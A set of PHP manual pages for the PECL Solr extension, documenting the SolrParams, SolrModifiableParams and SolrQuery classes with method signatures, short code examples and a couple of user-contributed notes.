  • Sets the parameter to the specified value

SolrParams::setParam

(PECL solr >= 0.9.2)

SolrParams::setParam — Sets the parameter to the specified value

Description

public SolrParams SolrParams::setParam ( string $name , string $value )

Sets the query parameter to the specified value. This is used for parameters that can only be specified once. Subsequent calls with the same parameter name will override the existing value

Parameters

name

Name of the parameter

value

Value of the parameter

Return Values

Returns a SolrParam object on success and FALSE on value.

Examples

Example #1 SolrParams::setParam() example

<?php

$param = new SolrParams();

$param->setParam('q', 'solr')->setParam('rows', 2);

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.


Returns all the name-value pair parameters in the object

  • « SolrParams::setParam
  • SolrParams::unserialize »
  • PHP Manual
  • SolrParams
  • Returns all the name-value pair parameters in the object

SolrParams::toString

(PECL solr >= 0.9.2)

SolrParams::toString — Returns all the name-value pair parameters in the object

Description

final public string SolrParams::toString ([ bool $url_encode = false ] )

Returns all the name-value pair parameters in the object

Parameters

url_encode

Whether to return URL-encoded values

Return Values

Returns a string on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • « SolrParams::toString
  • SolrModifiableParams »
  • PHP Manual
  • SolrParams
  • Used for custom serialization

SolrParams::unserialize

(PECL solr >= 0.9.2)

SolrParams::unserialize — Used for custom serialization

Description

final public void SolrParams::unserialize ( string $serialized )

Used for custom serialization

Parameters

serialized

The serialized representation of the object

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrModifiableParams class

(PECL solr >= 0.9.2)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

SolrModifiableParams extends SolrParams implements Serializable {
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
final public SolrParams SolrParams::add ( string $name , string $value )
public SolrParams SolrParams::addParam ( string $name , string $value )
final public mixed SolrParams::get ( string $param_name )
final public mixed SolrParams::getParam ([ string $param_name ] )
final public array SolrParams::getParams ( void )
final public array SolrParams::getPreparedParams ( void )
final public string SolrParams::serialize ( void )
final public void SolrParams::set ( string $name , string $value )
public SolrParams SolrParams::setParam ( string $name , string $value )
final public string SolrParams::toString ([ bool $url_encode = false ] )
final public void SolrParams::unserialize ( string $serialized )
}

Table of Contents

  • SolrModifiableParams::__construct — Constructor
  • SolrModifiableParams::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrModifiableParams
  • SolrModifiableParams::__destruct »
  • PHP Manual
  • SolrModifiableParams
  • Constructor

SolrModifiableParams::__construct

(PECL solr >= 0.9.2)

SolrModifiableParams::__construct — Constructor

Description

public SolrModifiableParams::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrModifiableParams::__construct
  • SolrQuery »
  • PHP Manual
  • SolrModifiableParams
  • Destructor

SolrModifiableParams::__destruct

(PECL solr >= 0.9.2)

SolrModifiableParams::__destruct — Destructor

Description

public void SolrModifiableParams::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrQuery class

(PECL solr >= 0.9.2)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

SolrQuery extends SolrModifiableParams implements Serializable {
/* Constants */
const integer ORDER_ASC = 0 ;
const integer ORDER_DESC = 1 ;
const integer FACET_SORT_INDEX = 0 ;
const integer FACET_SORT_COUNT = 1 ;
const integer TERMS_SORT_INDEX = 0 ;
const integer TERMS_SORT_COUNT = 1 ;
/* Properties */
/* Methods */
public SolrQuery addFacetDateField ( string $dateField )
public SolrQuery addFacetDateOther ( string $value [, string $field_override ] )
public SolrQuery addFacetField ( string $field )
public SolrQuery addFacetQuery ( string $facetQuery )
public SolrQuery addField ( string $field )
public SolrQuery addFilterQuery ( string $fq )
public SolrQuery addHighlightField ( string $field )
public SolrQuery addMltField ( string $field )
public SolrQuery addMltQueryField ( string $field , float $boost )
public SolrQuery addSortField ( string $field [, int $order = SolrQuery::ORDER_DESC ] )
public SolrQuery addStatsFacet ( string $field )
public SolrQuery addStatsField ( string $field )
public __construct ([ string $q ] )
public void __destruct ( void )
public bool getFacet ( void )
public string getFacetDateEnd ([ string $field_override ] )
public array getFacetDateFields ( void )
public string getFacetDateGap ([ string $field_override ] )
public string getFacetDateHardEnd ([ string $field_override ] )
public array getFacetDateOther ([ string $field_override ] )
public string getFacetDateStart ([ string $field_override ] )
public array getFacetFields ( void )
public int getFacetLimit ([ string $field_override ] )
public string getFacetMethod ([ string $field_override ] )
public int getFacetMinCount ([ string $field_override ] )
public bool getFacetMissing ([ string $field_override ] )
public int getFacetOffset ([ string $field_override ] )
public string getFacetPrefix ([ string $field_override ] )
public array getFacetQueries ( void )
public int getFacetSort ([ string $field_override ] )
public array getFields ( void )
public array getFilterQueries ( void )
public bool getHighlight ( void )
public string getHighlightAlternateField ([ string $field_override ] )
public array getHighlightFields ( void )
public string getHighlightFormatter ([ string $field_override ] )
public string getHighlightFragmenter ([ string $field_override ] )
public int getHighlightFragsize ([ string $field_override ] )
public bool getHighlightHighlightMultiTerm ( void )
public int getHighlightMaxAlternateFieldLength ([ string $field_override ] )
public int getHighlightMaxAnalyzedChars ( void )
public bool getHighlightMergeContiguous ([ string $field_override ] )
public int getHighlightRegexMaxAnalyzedChars ( void )
public string getHighlightRegexPattern ( void )
public float getHighlightRegexSlop ( void )
public bool getHighlightRequireFieldMatch ( void )
public string getHighlightSimplePost ([ string $field_override ] )
public string getHighlightSimplePre ([ string $field_override ] )
public int getHighlightSnippets ([ string $field_override ] )
public bool getHighlightUsePhraseHighlighter ( void )
public bool getMlt ( void )
public bool getMltBoost ( void )
public int getMltCount ( void )
public array getMltFields ( void )
public int getMltMaxNumQueryTerms ( void )
public int getMltMaxNumTokens ( void )
public int getMltMaxWordLength ( void )
public int getMltMinDocFrequency ( void )
public int getMltMinTermFrequency ( void )
public int getMltMinWordLength ( void )
public array getMltQueryFields ( void )
public string getQuery ( void )
public int getRows ( void )
public array getSortFields ( void )
public int getStart ( void )
public bool getStats ( void )
public array getStatsFacets ( void )
public array getStatsFields ( void )
public bool getTerms ( void )
public string getTermsField ( void )
public bool getTermsIncludeLowerBound ( void )
public bool getTermsIncludeUpperBound ( void )
public int getTermsLimit ( void )
public string getTermsLowerBound ( void )
public int getTermsMaxCount ( void )
public int getTermsMinCount ( void )
public string getTermsPrefix ( void )
public bool getTermsReturnRaw ( void )
public int getTermsSort ( void )
public string getTermsUpperBound ( void )
public int getTimeAllowed ( void )
public SolrQuery removeFacetDateField ( string $field )
public SolrQuery removeFacetDateOther ( string $value [, string $field_override ] )
public SolrQuery removeFacetField ( string $field )
public SolrQuery removeFacetQuery ( string $value )
public SolrQuery removeField ( string $field )
public SolrQuery removeFilterQuery ( string $fq )
public SolrQuery removeHighlightField ( string $field )
public SolrQuery removeMltField ( string $field )
public SolrQuery removeMltQueryField ( string $queryField )
public SolrQuery removeSortField ( string $field )
public SolrQuery removeStatsFacet ( string $value )
public SolrQuery removeStatsField ( string $field )
public SolrQuery setEchoHandler ( bool $flag )
public SolrQuery setEchoParams ( string $type )
public SolrQuery setExplainOther ( string $query )
public SolrQuery setFacet ( bool $flag )
public SolrQuery setFacetDateEnd ( string $value [, string $field_override ] )
public SolrQuery setFacetDateGap ( string $value [, string $field_override ] )
public SolrQuery setFacetDateHardEnd ( bool $value [, string $field_override ] )
public SolrQuery setFacetDateStart ( string $value [, string $field_override ] )
public SolrQuery setFacetEnumCacheMinDefaultFrequency ( int $frequency [, string $field_override ] )
public SolrQuery setFacetLimit ( int $limit [, string $field_override ] )
public SolrQuery setFacetMethod ( string $method [, string $field_override ] )
public SolrQuery setFacetMinCount ( int $mincount [, string $field_override ] )
public SolrQuery setFacetMissing ( bool $flag [, string $field_override ] )
public SolrQuery setFacetOffset ( int $offset [, string $field_override ] )
public SolrQuery setFacetPrefix ( string $prefix [, string $field_override ] )
public SolrQuery setFacetSort ( int $facetSort [, string $field_override ] )
public SolrQuery setHighlight ( bool $flag )
public SolrQuery setHighlightAlternateField ( string $field [, string $field_override ] )
public SolrQuery setHighlightFormatter ( string $formatter [, string $field_override ] )
public SolrQuery setHighlightFragmenter ( string $fragmenter [, string $field_override ] )
public SolrQuery setHighlightFragsize ( int $size [, string $field_override ] )
public SolrQuery setHighlightHighlightMultiTerm ( bool $flag )
public SolrQuery setHighlightMaxAlternateFieldLength ( int $fieldLength [, string $field_override ] )
public SolrQuery setHighlightMaxAnalyzedChars ( int $value )
public SolrQuery setHighlightMergeContiguous ( bool $flag [, string $field_override ] )
public SolrQuery setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars )
public SolrQuery setHighlightRegexPattern ( string $value )
public SolrQuery setHighlightRegexSlop ( float $factor )
public SolrQuery setHighlightRequireFieldMatch ( bool $flag )
public SolrQuery setHighlightSimplePost ( string $simplePost [, string $field_override ] )
public SolrQuery setHighlightSimplePre ( string $simplePre [, string $field_override ] )
public SolrQuery setHighlightSnippets ( int $value [, string $field_override ] )
public SolrQuery setHighlightUsePhraseHighlighter ( bool $flag )
public SolrQuery setMlt ( bool $flag )
public SolrQuery setMltBoost ( bool $flag )
public SolrQuery setMltCount ( int $count )
public SolrQuery setMltMaxNumQueryTerms ( int $value )
public SolrQuery setMltMaxNumTokens ( int $value )
public SolrQuery setMltMaxWordLength ( int $maxWordLength )
public SolrQuery setMltMinDocFrequency ( int $minDocFrequency )
public SolrQuery setMltMinTermFrequency ( int $minTermFrequency )
public SolrQuery setMltMinWordLength ( int $minWordLength )
public SolrQuery setOmitHeader ( bool $flag )
public SolrQuery setQuery ( string $query )
public SolrQuery setRows ( int $rows )
public SolrQuery setShowDebugInfo ( bool $flag )
public SolrQuery setStart ( int $start )
public SolrQuery setStats ( bool $flag )
public SolrQuery setTerms ( bool $flag )
public SolrQuery setTermsField ( string $fieldname )
public SolrQuery setTermsIncludeLowerBound ( bool $flag )
public SolrQuery setTermsIncludeUpperBound ( bool $flag )
public SolrQuery setTermsLimit ( int $limit )
public SolrQuery setTermsLowerBound ( string $lowerBound )
public SolrQuery setTermsMaxCount ( int $frequency )
public SolrQuery setTermsMinCount ( int $frequency )
public SolrQuery setTermsPrefix ( string $prefix )
public SolrQuery setTermsReturnRaw ( bool $flag )
public SolrQuery setTermsSort ( int $sortType )
public SolrQuery setTermsUpperBound ( string $upperBound )
public SolrQuery setTimeAllowed ( int $timeAllowed )
/* Inherited methods */
public SolrModifiableParams::__construct ( void )
public void SolrModifiableParams::__destruct ( void )
}

Predefined Constants

SolrQuery::ORDER_ASC

Used to specify that the sorting should be in acending order

SolrQuery::ORDER_DESC

Used to specify that the sorting should be in descending order

SolrQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index

SolrQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count

SolrQuery::TERMS_SORT_INDEX

Used in the TermsComponent

SolrQuery::TERMS_SORT_COUNT

Used in the TermsComponent

Table of Contents

  • SolrQuery::addFacetDateField — Maps to facet.date
  • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
  • SolrQuery::addFacetField — Adds another field to the facet
  • SolrQuery::addFacetQuery — Adds a facet query
  • SolrQuery::addField — Specifies which fields to return in the result
  • SolrQuery::addFilterQuery — Specifies a filter query
  • SolrQuery::addHighlightField — Maps to hl.fl
  • SolrQuery::addMltField — Sets a field to use for similarity
  • SolrQuery::addMltQueryField — Maps to mlt.qf
  • SolrQuery::addSortField — Used to control how the results should be sorted
  • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
  • SolrQuery::addStatsField — Maps to stats.field parameter
  • SolrQuery::__construct — Constructor
  • SolrQuery::__destruct — Destructor
  • SolrQuery::getFacet — Returns the value of the facet parameter
  • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
  • SolrQuery::getFacetDateFields — Returns all the facet.date fields
  • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
  • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
  • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
  • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
  • SolrQuery::getFacetFields — Returns all the facet fields
  • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
  • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
  • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
  • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
  • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
  • SolrQuery::getFacetPrefix — Returns the facet prefix
  • SolrQuery::getFacetQueries — Returns all the facet queries
  • SolrQuery::getFacetSort — Returns the facet sort type
  • SolrQuery::getFields — Returns the list of fields that will be returned in the response
  • SolrQuery::getFilterQueries — Returns an array of filter queries
  • SolrQuery::getHighlight — Returns the state of the hl parameter
  • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
  • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
  • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
  • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
  • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
  • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
  • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
  • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
  • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
  • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
  • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
  • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
  • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
  • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
  • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
  • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
  • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
  • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
  • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
  • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
  • SolrQuery::getMltFields — Returns all the fields to use for similarity
  • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
  • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
  • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
  • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
  • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
  • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
  • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
  • SolrQuery::getQuery — Returns the main query
  • SolrQuery::getRows — Returns the maximum number of documents
  • SolrQuery::getSortFields — Returns all the sort fields
  • SolrQuery::getStart — Returns the offset in the complete result set
  • SolrQuery::getStats — Returns whether or not stats is enabled
  • SolrQuery::getStatsFacets — Returns all the stats facets that were set
  • SolrQuery::getStatsFields — Returns all the statistics fields
  • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
  • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
  • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
  • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
  • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
  • SolrQuery::getTermsLowerBound — Returns the term to start at
  • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
  • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
  • SolrQuery::getTermsPrefix — Returns the term prefix
  • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
  • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
  • SolrQuery::getTermsUpperBound — Returns the term to stop at
  • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
  • SolrQuery::removeFacetDateField — Removes one of the facet date fields
  • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
  • SolrQuery::removeFacetField — Removes one of the facet.date parameters
  • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
  • SolrQuery::removeField — Removes a field from the list of fields
  • SolrQuery::removeFilterQuery — Removes a filter query
  • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
  • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
  • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
  • SolrQuery::removeSortField — Removes one of the sort fields
  • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
  • SolrQuery::removeStatsField — Removes one of the stats.field parameters
  • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
  • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
  • SolrQuery::setExplainOther — Sets the explainOther common query parameter
  • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
  • SolrQuery::setFacetDateEnd — Maps to facet.date.end
  • SolrQuery::setFacetDateGap — Maps to facet.date.gap
  • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
  • SolrQuery::setFacetDateStart — Maps to facet.date.start
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
  • SolrQuery::setFacetLimit — Maps to facet.limit
  • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
  • SolrQuery::setFacetMinCount — Maps to facet.mincount
  • SolrQuery::setFacetMissing — Maps to facet.missing
  • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
  • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
  • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
  • SolrQuery::setHighlight — Enables or disables highlighting
  • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
  • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
  • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
  • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
  • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
  • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
  • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
  • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
  • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
  • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
  • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
  • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
  • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
  • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
  • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
  • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
  • SolrQuery::setMlt — Enables or disables moreLikeThis
  • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
  • SolrQuery::setMltCount — Set the number of similar documents to return for each result
  • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
  • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
  • SolrQuery::setMltMaxWordLength — Sets the maximum word length
  • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
  • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
  • SolrQuery::setMltMinWordLength — Sets the minimum word length
  • SolrQuery::setOmitHeader — Exclude the header from the returned results
  • SolrQuery::setQuery — Sets the search query
  • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
  • SolrQuery::setShowDebugInfo — Flag to show debug information
  • SolrQuery::setStart — Specifies the number of rows to skip
  • SolrQuery::setStats — Enables or disables the Stats component
  • SolrQuery::setTerms — Enables or disables the TermsComponent
  • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
  • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
  • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
  • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
  • SolrQuery::setTermsLowerBound — Specifies the Term to start from
  • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
  • SolrQuery::setTermsMinCount — Sets the minimum document frequency
  • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
  • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
  • SolrQuery::setTermsSort — Specifies how to sort the returned terms
  • SolrQuery::setTermsUpperBound — Sets the term to stop at
  • SolrQuery::setTimeAllowed — The time allowed for search to finish

User Contributed Notes

andy at borkedcoder dot com 30-Jan-2012 08:36
Note - if using morelikethis, and your query is on a numeric ID, then you will not be able to access the moreLikeThis object in the results...

when q=id:3493 searching with mlt, result is:

SolrObject Object
(
...
    [moreLikeThis] => SolrObject Object
        (
            [3493] => SolrObject Object
                (
                    [numFound] => 6286
                    [start] => 0
                    [docs] => Array
                        (
....etc

the numeric object name (3493 above) is impossible to access

not by $response->moreLikeThis->{3493} nor $response->moreLikeThis->{'3493'}, nothing...

only way is to convert the moreLikeThis object into an array with:
$response_array = (array) $response->moreLikeThis;

then iterate the array as the array key is known.


Maps to facet.date

  • « SolrQuery
  • SolrQuery::addFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Maps to facet.date

SolrQuery::addFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateField — Maps to facet.date

Description

public SolrQuery SolrQuery::addFacetDateField ( string $dateField )

This method allows you to specify a field which should be treated as a facet.

It can be used multiple times with different field names to indicate multiple facet fields

Parameters

dateField

The name of the date field.

Return Values

Returns a SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Adds another facet.date.other parameter

  • « SolrQuery::addFacetDateField
  • SolrQuery::addFacetField »
  • PHP Manual
  • SolrQuery
  • Adds another facet.date.other parameter

SolrQuery::addFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateOther — Adds another facet.date.other parameter

Description

public SolrQuery SolrQuery::addFacetDateOther ( string $value [, string $field_override ] )

Sets the facet.date.other parameter. Accepts an optional field override

Parameters

value

The value to use.

field_override

The field name for the override.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the facet

  • « SolrQuery::addFacetDateOther
  • SolrQuery::addFacetQuery »
  • PHP Manual
  • SolrQuery
  • Adds another field to the facet

SolrQuery::addFacetField

(PECL solr >= 0.9.2)

SolrQuery::addFacetField — Adds another field to the facet

Description

public SolrQuery SolrQuery::addFacetField ( string $field )

Adds another field to the facet

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

Examples

Example #1 SolrQuery::addFacetField() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery($query);

$query->addField('price')->addField('color');

$query->setFacet(true);

$query->addFacetField('price')->addFacetField('color');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

The above example will output something similar to:

SolrObject Object
(
    [color] => SolrObject Object
        (
            [blue] => 20
            [green] => 100
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Adds a facet query

  • « SolrQuery::addFacetField
  • SolrQuery::addField »
  • PHP Manual
  • SolrQuery
  • Adds a facet query

SolrQuery::addFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::addFacetQuery — Adds a facet query

Description

public SolrQuery SolrQuery::addFacetQuery ( string $facetQuery )

Adds a facet query

Parameters

facetQuery

The facet query

Return Values

Returns the current SolrQuery object, if the return value is used.

Examples

Example #1 SolrQuery::addFacetField() example

<?php

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetQuery('price:[* TO 500]')->addFacetQuery('price:[500 TO *]');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response->facet_counts->facet_queries);

?>

The above example will output something similar to:

SolrObject Object
(
    [price:[* TO 500]] => 14
    [price:[500 TO *]] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


Specifies which fields to return in the result

  • « SolrQuery::addFacetQuery
  • SolrQuery::addFilterQuery »
  • PHP Manual
  • SolrQuery
  • Specifies which fields to return in the result

SolrQuery::addField

(PECL solr >= 0.9.2)

SolrQuery::addField — Specifies which fields to return in the result

Description

public SolrQuery SolrQuery::addField ( string $field )

This method is used to used to specify a set of fields to return, thereby restricting the amount of data returned in the response.

It should be called multiple time, once for each field name.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.


Specifies a filter query

  • « SolrQuery::addField
  • SolrQuery::addHighlightField »
  • PHP Manual
  • SolrQuery
  • Specifies a filter query

SolrQuery::addFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::addFilterQuery — Specifies a filter query

Description

public SolrQuery SolrQuery::addFilterQuery ( string $fq )

Specifies a filter query

Parameters

fq

The filter query

Return Values

Returns the current SolrQuery object.

Examples

Example #1 SolrQuery::addFilterQuery() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery($query);

$query->addFilterQuery('color:blue,green');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

The above example will output something similar to:

 &fq=color:blue,green

User Contributed Notes

There are no user contributed notes for this page.


Maps to hl.fl

  • « SolrQuery::addFilterQuery
  • SolrQuery::addMltField »
  • PHP Manual
  • SolrQuery
  • Maps to hl.fl

SolrQuery::addHighlightField

(PECL solr >= 0.9.2)

SolrQuery::addHighlightField — Maps to hl.fl

Description

public SolrQuery SolrQuery::addHighlightField ( string $field )

Maps to hl.fl. This is used to specify that highlighted snippets should be generated for a particular field

Parameters

field

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

sanjeevk at euroblaze dot de 11-Dec-2013 08:14
Hello all,

I have being working on filter using solr server. I got a problem in using addFilterQuery(). Below is my code snippet:-

        $query = new SolrQuery();

        $query->setQuery('*:*');

        $query->setStart(0);

        $query->setRows(50);

        $query->addFilterQuery('oxprice:[10 TO 100]');

        $query_response = $client->query($query);

        $response = $query_response->getResponse();

        print_r($response);exit;

Problem is I get data without filtering price range of 10 TO 100 ( I mean I get records without any filtering). Please help me find Solution..

Thanks In Advance.


Sets a field to use for similarity

  • « SolrQuery::addHighlightField
  • SolrQuery::addMltQueryField »
  • PHP Manual
  • SolrQuery
  • Sets a field to use for similarity

SolrQuery::addMltField

(PECL solr >= 0.9.2)

SolrQuery::addMltField — Sets a field to use for similarity

Description

public SolrQuery SolrQuery::addMltField ( string $field )

Maps to mlt.fl. It specifies that a field should be used for similarity.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to mlt.qf

  • « SolrQuery::addMltField
  • SolrQuery::addSortField »
  • PHP Manual
  • SolrQuery
  • Maps to mlt.qf

SolrQuery::addMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::addMltQueryField — Maps to mlt.qf

Description

public SolrQuery SolrQuery::addMltQueryField ( string $field , float $boost )

Maps to mlt.qf. It is used to specify query fields and their boosts

Parameters

field

The name of the field

boost

Its boost value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Used to control how the results should be sorted

  • « SolrQuery::addMltQueryField
  • SolrQuery::addStatsFacet »
  • PHP Manual
  • SolrQuery
  • Used to control how the results should be sorted

SolrQuery::addSortField

(PECL solr >= 0.9.2)

SolrQuery::addSortField — Used to control how the results should be sorted

Description

public SolrQuery SolrQuery::addSortField ( string $field [, int $order = SolrQuery::ORDER_DESC ] )

Used to control how the results should be sorted.

Parameters

field

The name of the field

order

The sort direction. This should be either SolrQuery::ORDER_ASC or SolrQuery::ORDER_DESC.

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Requests a return of sub results for values within the given facet

  • « SolrQuery::addSortField
  • SolrQuery::addStatsField »
  • PHP Manual
  • SolrQuery
  • Requests a return of sub results for values within the given facet

SolrQuery::addStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet

Description

public SolrQuery SolrQuery::addStatsFacet ( string $field )

Requests a return of sub results for values within the given facet. Maps to the stats.facet field

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


